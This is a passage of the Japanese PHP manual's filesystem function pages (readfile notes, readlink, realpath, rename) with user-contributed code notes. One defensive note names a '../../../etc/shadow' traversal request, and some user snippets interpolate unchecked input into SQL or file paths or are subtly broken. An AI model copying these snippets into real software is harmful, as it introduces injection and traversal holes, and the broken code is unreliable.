if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

    if ($_GET["hit"]) {
        mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com 20-Sep-2005 02:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
23-Aug-2005 02:39
here is a nice force download scirpt

            $filename = 'dummy.zip';
            $filename = realpath($filename);

            $file_extension = strtolower(substr(strrchr($filename,"."),1));

            switch ($file_extension) {
                case "pdf": $ctype="application/pdf"; break;
                case "exe": $ctype="application/octet-stream"; break;
                case "zip": $ctype="application/zip"; break;
                case "doc": $ctype="application/msword"; break;
                case "xls": $ctype="application/vnd.ms-excel"; break;
                case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
                case "gif": $ctype="image/gif"; break;
                case "png": $ctype="image/png"; break;
                case "jpe": case "jpeg":
                case "jpg": $ctype="image/jpg"; break;
                default: $ctype="application/force-download";
            }

            if (!file_exists($filename)) {
                die("NO FILE HERE");
            }

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private",false);
            header("Content-Type: $ctype");
            header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".@filesize($filename));
            set_time_limit(0);
            @readfile("$filename") or die("File not found.");
chrisputnam at gmail dot com 29-Jun-2005 01:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Philipp Heckel 10-May-2005 04:58
To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

    function mimeTypes($file) {
        if (!is_file($file) || !is_readable($file)) return false;
        $types = array();
        $fp = fopen($file,"r");
        while (false != ($line = fgets($fp,4096))) {
            if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
            $tmp = preg_split("/\s/",trim($match[2]));
            foreach($tmp as $type) $types[strtolower($type)] = $match[1];
        }
        fclose ($fp);

        return $types;
    }

    # [...]

    # read the mime-types
    $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

    # use them ($ext is the extension of your file)
    if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
    header("Content-Length: ".@filesize($fullpath));
    readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com 06-May-2005 11:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
    $chunksize = 1*(1024*1024); // how many bytes per chunk
    $buffer = '';
    $cnt =0;
    // $handle = fopen($filename, 'rb');
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        echo $buffer;
        if ($retbytes) {
            $cnt += strlen($buffer);
        }
    }
        $status = fclose($handle);
    if ($retbytes && $status) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;

}
?>
TheDayOfCondor 27-Apr-2005 06:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
TheDayOfCondor 20-Apr-2005 09:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
Thomas Jespersen 25-Oct-2004 06:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".


シンボリックリンク先を返す

  • ≪ readfile
  • realpath_cache_get ≫
  • PHP Manual
  • ファイルシステム 関数
  • シンボリックリンク先を返す

readlink

(PHP 4, PHP 5, PHP 7, PHP 8)

readlink — シンボリックリンク先を返す

説明

readlink ( string $path ) : string|false

readlink() は同名の C 関数と同じ動作をします。

パラメータ

path

シンボリックリンクのパス。

返り値

シンボリックリンク・パスの内容を返します。エラーの場合は false を返します。

注意: この関数は、path がシンボリックリンクでない場合は失敗します。但し、Windows を除きます。 Windows では、正規化されたパスを返します。

例

例1 readlink() の例

<?php

// 出力例 /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

参考

  • is_link() - ファイルがシンボリックリンクかどうかを調べる
  • symlink() - シンボリックリンクを作成する
  • linkinfo() - リンクに関する情報を取得する

User Contributed Notes

casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:40
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:35
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
ayon at hyurl dot com 09-Mar-2017 04:38
It is neccesary to be notified that readlink only works for a real link file, if this link file locates to a directory, you cannot detect and read its contents, the is_link() function will always return false and readlink() will display a warning is you try to do. Like the following codes:
<?php
//assume that A is a directory located in C:, B is a symlink to A, and A contents a file named C.
echo is_link('B/C'); //false
echo readlink('B/C'); //false and a warning will be displayed
//instead, you should use realpath() function to get the real path of C
echo realpath('B/C'); //C:\A\C
?>
MarkAndrewSlade at gmail dot com 10-Jun-2009 12:35
This will trigger a warning and return false if you pass it a non-symlink.  If the file doesn't exist, it will trigger a differently worded warning.

mslade@jupiter ~$ touch a
mslade@jupiter ~$ ln -s a b
mslade@jupiter ~$ ls -l {a,b}
-rw------- 1 mslade mslade 0 2009-06-10 15:27 a
lrwxrwxrwx 1 mslade mslade 1 2009-06-10 15:27 b -> a
mslade@jupiter ~$ php -r "var_dump(readlink('b'));"
string(1) "a"
mslade@jupiter ~$ php -r "var_dump(readlink('a'));"

Warning: readlink(): Invalid argument in Command line code on line 1
bool(false)
mslade@jupiter ~$ php -r "var_dump(readlink('c'));"

Warning: readlink(): No such file or directory in Command line code on line 1
bool(false)


realpath キャッシュ・エントリーを取得

  • ≪ readlink
  • realpath_cache_size ≫
  • PHP Manual
  • ファイルシステム 関数
  • realpath キャッシュ・エントリーを取得

realpath_cache_get

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_get — realpath キャッシュ・エントリーを取得

説明

realpath_cache_get ( ) : array

realpath キャッシュ内容を取得します。

返り値

realpath キャッシュ・エントリーの配列を返します。キーは元のパス・エントリーで、 値はデータ項目の配列です。それには、解決されたパス、失効日、キャッシュに保持されるその他のオプションを含みます。

例

例1 realpath_cache_get() 例

<?php
var_dump(realpath_cache_get());
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["/test"]=>
  array(4) {
    ["key"]=>
    int(123456789)
    ["is_dir"]=>
    bool(true)
    ["realpath"]=>
    string(5) "/test"
    ["expires"]=>
    int(1260318939)
  }
  ["/test/test.php"]=>
  array(4) {
    ["key"]=>
    int(987654321)
    ["is_dir"]=>
    bool(false)
    ["realpath"]=>
    string(12) "/root/test.php"
    ["expires"]=>
    int(1260318939)
  }
}

参考

  • realpath_cache_size() - realpath キャッシュサイズを取得

User Contributed Notes

phil at code67 dot com 05-Oct-2015 10:10
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


realpath キャッシュサイズを取得

  • ≪ realpath_cache_get
  • realpath ≫
  • PHP Manual
  • ファイルシステム 関数
  • realpath キャッシュサイズを取得

realpath_cache_size

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_size — realpath キャッシュサイズを取得

説明

realpath_cache_size ( ) : int

realpath キャッシュで使用されるメモリー量を取得します。

返り値

realpath キャッシュが使用中のメモリ量を返します。

例

例1 realpath_cache_size() 例

<?php
var_dump(realpath_cache_size());
?>

上の例の出力は、 たとえば以下のようになります。

int(412)

参考

  • realpath_cache_get() - realpath キャッシュ・エントリーを取得
  • 設定オプション realpath_cache_size

User Contributed Notes

Anonymous 30-Jan-2015 08:07
Realpath_cache_size default parameter settings are too low (16k).
In the windows and Polish language assessed following be at least a 32k or 64k.
otherwise appache sometimes locks up (especially when using IE).
Stephen Pritchard from Arcanavision 13-Jan-2011 10:18
"realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time.  Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn't have to search the current working directory and include_path for the file you are working on.
If your website uses lots of relative path files, think about increasing this value.  What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get().
superaap at gmail dot com 05-Nov-2010 07:41
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


正規化された絶対パス名を返す

  • ≪ realpath_cache_size
  • rename ≫
  • PHP Manual
  • ファイルシステム 関数
  • 正規化された絶対パス名を返す

realpath

(PHP 4, PHP 5, PHP 7, PHP 8)

realpath — 正規化された絶対パス名を返す

説明

realpath ( string $path ) : string|false

realpath() は、 入力 path のシンボリックリンクをすべて展開し、 /./、/../ および / などの参照をすべて解決することにより、正規化された絶対パスを返します。

パラメータ

path

調べたいパス。

注意:

path の指定は必須ですが、空の文字列を指定することもできます。 その場合はカレントディレクトリを指定したものとみなします。

返り値

成功した場合は、正規化された絶対パス名を返します。 返されるパスはシンボリックリンク、/./ および /../ 要素を含みません。 パスの末尾の区切り文字 (\ や / など) は削除されます。

realpath() は、 たとえばファイルが存在しないなどの失敗時に false を返します。

注意:

指定した階層にあるすべてのディレクトリに対して、 実行中のスクリプトからの実行権限が必要です。もし権限がなければ realpath() は false を返します。

注意:

大文字小文字を区別しないファイルシステムの場合は、realpath() が大文字小文字をどちらかにそろえるかもしれないし、そろえないかもしれません。

注意:

realpath() 関数は、Phar の内部にあるファイルに対しては機能しません。 そのようなパスは、実際のパスではなく仮想パスになるからです。

注意:

Windows では、ディレクトリへのシンボリックリンクとジャンクションは、ひとつ分しか展開されません。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

例

例1 realpath() の例

<?php
chdir('/var/www/');
echo realpath('./../../etc/passwd') . PHP_EOL;

echo realpath('/tmp/') . PHP_EOL;
?>

上の例の出力は以下となります。

/etc/passwd
/tmp

例2 Windows 上での realpath()

Windows 上で realpath() を実行すると、Unix 形式のパスを Windows 形式に変更します。

<?php
echo realpath('/windows/system32'), PHP_EOL;

echo realpath('C:\Program Files\\'), PHP_EOL;
?>

上の例の出力は以下となります。

C:\WINDOWS\System32
C:\Program Files

参考

  • basename() - パスの最後にある名前の部分を返す
  • dirname() - 親ディレクトリのパスを返す
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

moreau dot marc dot web at gmail dot com 01-Oct-2019 07:13
<?php

namespace MockingMagician\Organic\Helper;

class Path
{
    /**
     * There is a method that deal with Sven Arduwie proposal https://www.php.net/manual/en/function.realpath.php#84012
     * And runeimp at gmail dot com proposal https://www.php.net/manual/en/function.realpath.php#112367
     * @param string $path
     * @return string
     */
    public static function getAbsolute(string $path): string
    {
        // Cleaning path regarding OS
        $path = mb_ereg_replace('\\\\|/', DIRECTORY_SEPARATOR, $path, 'msr');
        // Check if path start with a separator (UNIX)
        $startWithSeparator = $path[0] === DIRECTORY_SEPARATOR;
        // Check if start with drive letter
        preg_match('/^[a-z]:/', $path, $matches);
        $startWithLetterDir = isset($matches[0]) ? $matches[0] : false;
        // Get and filter empty sub paths
        $subPaths = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'mb_strlen');

        $absolutes = [];
        foreach ($subPaths as $subPath) {
            if ('.' === $subPath) {
                continue;
            }
            // if $startWithSeparator is false
            // and $startWithLetterDir
            // and (absolutes is empty or all previous values are ..)
            // save absolute cause that's a relative and we can't deal with that and just forget that we want go up
            if ('..' === $subPath
                && !$startWithSeparator
                && !$startWithLetterDir
                && empty(array_filter($absolutes, function ($value) { return !('..' === $value); }))
            ) {
                $absolutes[] = $subPath;
                continue;
            }
            if ('..' === $subPath) {
                array_pop($absolutes);
                continue;
            }
            $absolutes[] = $subPath;
        }

        return
            (($startWithSeparator ? DIRECTORY_SEPARATOR : $startWithLetterDir) ?
                $startWithLetterDir.DIRECTORY_SEPARATOR : ''
            ).implode(DIRECTORY_SEPARATOR, $absolutes);
    }

    /**
     * Examples
     *
     * echo Path::getAbsolute('/one/two/../two/./three/../../two');            =>    /one/two
     * echo Path::getAbsolute('../one/two/../two/./three/../../two');          =>    ../one/two
     * echo Path::getAbsolute('../.././../one/two/../two/./three/../../two');  =>    ../../../one/two
     * echo Path::getAbsolute('../././../one/two/../two/./three/../../two');   =>    ../../one/two
     * echo Path::getAbsolute('/../one/two/../two/./three/../../two');         =>    /one/two
     * echo Path::getAbsolute('/../../one/two/../two/./three/../../two');      =>    /one/two
     * echo Path::getAbsolute('c:\.\..\one\two\..\two\.\three\..\..\two');     =>    c:/one/two
     *
     */
}
plamen at dragiyski dot org 16-Apr-2019 02:27
realpath() is just a system/library call to actual realpath() function supported by OS. It does not work on a path as a string, but also resolves symlinks. The resulting path might significantly differs from the input even when absolute path is given. No function in this notes resolves that.

The suggestion on the realpath man page is to look for an existing parent directory. Here is an example:
<?php
    function resolvePath($path) {
        if(DIRECTORY_SEPARATOR !== '/') {
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }
        $search = explode('/', $path);
        $search = array_filter($search, function($part) {
            return $part !== '.';
        });
        $append = array();
        $match = false;
        while(count($search) > 0) {
            $match = realpath(implode('/', $search));
            if($match !== false) {
                break;
            }
            array_unshift($append, array_pop($search));
        };
        if($match === false) {
            $match = getcwd();
        }
        if(count($append) > 0) {
            $match .= DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $append);
        }
        return $match;
    }
?>

The result will retrieve absolute path for non-existing relative path. Even if a path does not exists, there should be existing directory somewhere, for which the realpath could be obtained. If this is not within the relative path (i.e. even current working directory does not exists), getcwd() will retrieve absolute path, so some absolute path is returned (although in that case the PHP process could have huge problems).
https://stackoverflow.com/users/1397947/ 30-Aug-2017 06:38
It should probably be expressly noted that tilde expansion is not performed by realpath.
eion at robbmob dot com 06-Dec-2015 10:42
Be aware that realpath() doesn't work with hidden Windows UNC paths, eg  \\servername\share$\folder\blah.txt but other PHP file-functions can access that file fine.
Vincent Par 21-Apr-2015 01:33
Beware of relative symbolic links like this one (ext4 file system on Ubuntu) :

    vincent@vincent:~/Bureau/dirscan$ readlink sandbox/roulant/voiture/cabriolet/ln-loop-relative
    ../..

In this case, realpath may return false :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
// => string(44) "/home/vincent/Bureau/dirscan/sandbox/roulant"
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => bool(false)
?>

But you can fix it by clearing the realpath cache, this way :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
clearstatcache(true);
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => string(49) "/home/vincent/Bureau/dirscan/sandbox/roulant/moto"
?>
Leonard Challis 17-Jul-2013 07:40
When using realpath (and similar functions) remember that PHP will take in to account open_basedir restrictions. So, if you do something like:

<?php
// test.php in httpdocs folder
$path = realpath(dirname(__FILE__) . '/../application');
?>

where your open_basedir setting is set to the httpdocs folder and tmp, this will return false. You must set it to the level above (or off) for this to work.
runeimp at gmail dot com 07-Jun-2013 11:37
Needed a method to normalize a virtual path that could handle .. references that go beyond the initial folder reference. So I created the following.
<?php

function normalizePath($path)
{
    $parts = array();// Array to build a new path from the good parts
    $path = str_replace('\\', '/', $path);// Replace backslashes with forwardslashes
    $path = preg_replace('/\/+/', '/', $path);// Combine multiple slashes into a single slash
    $segments = explode('/', $path);// Collect path segments
    $test = '';// Initialize testing variable
    foreach($segments as $segment)
    {
        if($segment != '.')
        {
            $test = array_pop($parts);
            if(is_null($test))
                $parts[] = $segment;
            else if($segment == '..')
            {
                if($test == '..')
                    $parts[] = $test;

                if($test == '..' || $test == '')
                    $parts[] = $segment;
            }
            else
            {
                $parts[] = $test;
                $parts[] = $segment;
            }
        }
    }
    return implode('/', $parts);
}
?>

Will convert /path/to/test/.././..//..///..///../one/two/../three/filename
to ../../one/three/filename
Anonymous 31-May-2012 04:48
Note: If you use this to check if a file exists, it's path will be cached, and returns true even if the file is removed (use file_exists instead).
php at keith tyler dot com 18-Oct-2011 12:15
Note that under Windows, a slash-rooted path will resolve on the local drive, and *not* necessarily C:\.

For example:

M:\>php -r "print realpath('/AUTOEXEC.BAT');"
[prints nothing, because there is no M:\AUTOEXEC.BAT]

But:

M:\>C:
C:\>php -r "print realpath('/AUTOEXEC.BAT');"
C:\AUTOEXEC.BAT

Same script, different response depending on current drive.

I'm inclined to argue that this function *should* use the value of %SystemDrive% as the "slash root" base.
imagiro 21-Sep-2011 02:20
Here is a small and handy method to calculate the relative path from $from to $to. Note: On Windows it does not work when $from and $to are on different drives.

<?php
function relativePath($from, $to, $ps = DIRECTORY_SEPARATOR)
{
  $arFrom = explode($ps, rtrim($from, $ps));
  $arTo = explode($ps, rtrim($to, $ps));
  while(count($arFrom) && count($arTo) && ($arFrom[0] == $arTo[0]))
  {
    array_shift($arFrom);
    array_shift($arTo);
  }
  return str_pad("", count($arFrom) * 3, '..'.$ps).implode($ps, $arTo);
}
?>
Jrg Wagner 11-Jun-2010 12:35
Please be aware that this function does NOT always strip a trailing slash!:

LINUX (tested with PHP 5.2.11):
---
realpath('.')
: string = "/myhttpdfolder"
realpath('./')
: string = "/myhttpdfolder"
realpath('fileadmin')
: string = "/myhttpdfolder/fileadmin"
realpath('fileadmin/')
: string = "/myhttpdfolder/fileadmin"

WINDOWS (tested with PHP 5.2.5):
---
realpath('.')
: string = "C:\\myhttpdfolder"
realpath('./')
: string = "C:\\myhttpdfolder\\"
realpath('fileadmin')
: string = "C:\\myhttpdfolder\\fileadmin"
realpath('fileadmin/')
: string = "C:\\myhttpdfolder\\fileadmin\\"
Sven Arduwie 23-Jun-2008 03:43
Because realpath() does not work on files that do not
exist, I wrote a function that does.
It replaces (consecutive) occurences of / and \\ with
whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
Paths returned by get_absolute_path() contain no
(back)slash at position 0 (beginning of the string) or
position -1 (ending)
<?php
    function get_absolute_path($path) {
        $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = array();
        foreach ($parts as $part) {
            if ('.' == $part) continue;
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return implode(DIRECTORY_SEPARATOR, $absolutes);
    }
?>

A test:
<?php
    var_dump(get_absolute_path('this/is/../a/./test/.///is'));
?>
Returns: string(14) "this/a/test/is"

As you can so, it also produces Yoda-speak. :)
David Beck 22-Nov-2006 07:38
Here's a function to canonicalize a URL containing relative paths. Ran into the problem when pulling links from a remote page.

<?php

function canonicalize($address)
{
    $address = explode('/', $address);
    $keys = array_keys($address, '..');

    foreach($keys AS $keypos => $key)
    {
        array_splice($address, $key - ($keypos * 2 + 1), 2);
    }

    $address = implode('/', $address);
    $address = str_replace('./', '', $address);
}

$url = 'http://www.example.com/something/../else';
echo canonicalize($url); //http://www.example.com/else

?>
Lars Scheithauer <l dot scheithauer at gmx dot de> 08-Jun-2005 10:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
    /* appropriate action against crack-attempt*/
    die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br 20-Dec-2004 01:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
    $realpath=realpath($relative_path);
    $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
    return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>


ファイルをリネームする

  • ≪ realpath
  • rewind ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルをリネームする

rename

(PHP 4, PHP 5, PHP 7, PHP 8)

rename — ファイルをリネームする

説明

rename ( string $oldname , string $newname , resource $context = ? ) : bool

oldname を newname にリネームし、必要ならディレクトリを移動しようと試みます。 ファイル名の変更かつ newname が存在する場合、上書きされます。 ディレクトリ名の変更かつ newname が存在する場合、 この関数は警告を発します。

パラメータ

oldname

変更前の名前。

注意:

oldname で使用されるラッパーは、 newname で使用するラッパーと適合 している必要があります 。

newname

変更後の名前。

注意: Windows では、newname が既に存在する場合、 そのファイルは書き込み可能でなければなりません。 書き込み可能でない場合、rename() は失敗し、 E_WARNING が発生します。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 rename() の例

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

参考

  • copy() - ファイルをコピーする
  • unlink() - ファイルを削除する
  • move_uploaded_file() - アップロードされたファイルを新しい位置に移動する

User Contributed Notes

lord dot dracon at gmail dot com 03-Jan-2018 11:14
rename() function apparently doesn't move files larger than 4 GB, even though the filesystem supports, when the operating system is 32 bits.

Tested here with PHP 5.5.9 (x86), in Linux environment (Ubuntu 14.04.5 LTS i686), with source file (60 GB RAR file) in ext4 filesystem and destination is a external HD with NTFS filesystem. Only 4 GB was copied and RAR was corrupted: "Unexpected end of archive".

Not tested if rename() can move files larger than 4 GB in 64-bit environment.
tomv 10-Mar-2017 02:31
If $oldname and $newname are existing hard links referring to the same file, then rename() does nothing, and returns a success status.
(from the underlying libc rename() manual)
On the other hand "/bin/mv oldname newname" results in the removal of "oldname".
ben at indietorrent dot org 02-Jul-2015 03:31
From the Changelog notes:

"Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem."

More explicitly, rename() may still return (bool) true, despite the warnings that result from the underlying calls to chown() or chmod(). This behavior can be misleading absent a deeper understanding of the underlying mechanics. To rename across filesystems, PHP "fakes it" by calling copy(), unlink(), chown(), and chmod() (not necessarily in that order). See PHP bug #50676 for more information.

On UNIX-like operating systems, filesystems may be mounted with an explicit uid and/or gid (for example, with mount options "uid=someuser,gid=somegroup"). Attempting to call rename() with such a destination filesystem will cause an "Operation not permitted" warning, even though the file is indeed renamed and rename() returns (bool) true.

This is not a bug. Either handle the warning as is appropriate to your use-case, or call copy() and then unlink(), which will avoid the doomed calls to chown() and chmod(), thereby eliminating the warning.
mike at mbfisher dot com 23-Jan-2015 09:31
[Editor note: this works because SplFileObject has the __toString() method which returns the file path]

Note that you can pass an SplFileInfo object as either argument:

<?php
# Assume a file 'foo' in the current directory

rename('foo', new SplFileInfo('bar'));

# foo is now bar!

rename(new SplFileInfo('bar'), 'foo');

# bar is now foo again
?>
Robert 27-Jun-2014 08:38
If you use SplFileObject for the same file which
you want to rename you have to remove SplFileObject objec first.

<?php

$filePath = 'testFile.txt';
$fileObj = new SplFileObject(  $filePath  );
rename( $filePath, 'newName.txt'  );

// You will get - Permission denied error

$filePath = 'testFile.txt';
$fileObj = new SplFileObject( 'filePath.txt' );
$fileObj = null;
rename( $filePath, 'newName.txt'  );

// and now it is working.
?>
mike 19-Dec-2013 11:35
Important note - rename() does NOT work for *directories* across filesystems or devices. Only *files*

You will get two warnings:
"PHP Warning:  rename(): The first argument to copy() function cannot be a directory in <whatever> on line <whatever>"
"PHP Warning:  rename(t2,/var/run/test/t2): Invalid cross-device link in <whatever> on line <whatever>"

The copy() mentioned I assume is C's copy() and not PHP's copy() function. There is an associated bug in the Ubuntu bug system for this as well, that was escalated to bugs.php.net:
https://bugs.php.net/bug.php?id=54097

The only workarounds right now I believe is using PHP copy($source, $dest) and then on success, PHP unlink($source), or doing system("mv $source $dest") which is hokey, and should be surrounded by quotes for paths with spaces or other shell metacharacters, and possibly escaped for security.
bcag2 at free dot fr 07-Mar-2013 03:39
on windows (XP, vista, 7...) http://fr.wikipedia.org/wiki/Windows-1252", if your file name contains accent, it doesn't work basically. So use iconv function to convert from utf-8 to cp1252 as bellow :
<?php

$nomfichierinitial=iconv("UTF-8", "CP1252", "C:\\wamp\\www\\test.txt");
$nomfichierfinal="C:\\wamp\\www\\test.txt";
rename($nomfichierinitial, $nomfichierfinal);
?>
Martin Pelletier 05-Feb-2011 10:01
rename() is working on Linux/UNIX but not working on Windows on a directory containing a file formerly opened within the same script. The problem persists even after properly closing the file and flushing the buffer.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
rename ("./dir", ".dir2"); // will give a ≪permission denied≫ error
?>

Strangely it seem that the rename command is  executed BEFORE the handle closing on Windows.

Inserting a sleep() command before the renaming cures the problem.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
sleep(1);    // this does the trick
rename ("./dir", ".dir2"); //no error
?>
andrew at 21cv dot co dot uk 15-Apr-2010 05:19
Code first, then explanation.

<?php

 rename ("/folder/file.ext", "newfile.ext");

?>

That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following:

<?php

 rename ("/folder/file.ext", "/folder/newfile.ext");

?>
Morteza 10-Apr-2010 12:04
This code renames all  files and folders in a specific directory to lower case:

<?php
$path = "my_doc";

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) )
    {
        if( !in_array( $file, $ignore ) )
        {
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) )
            {
                echo "<strong>$spaces $file</strong><br />";
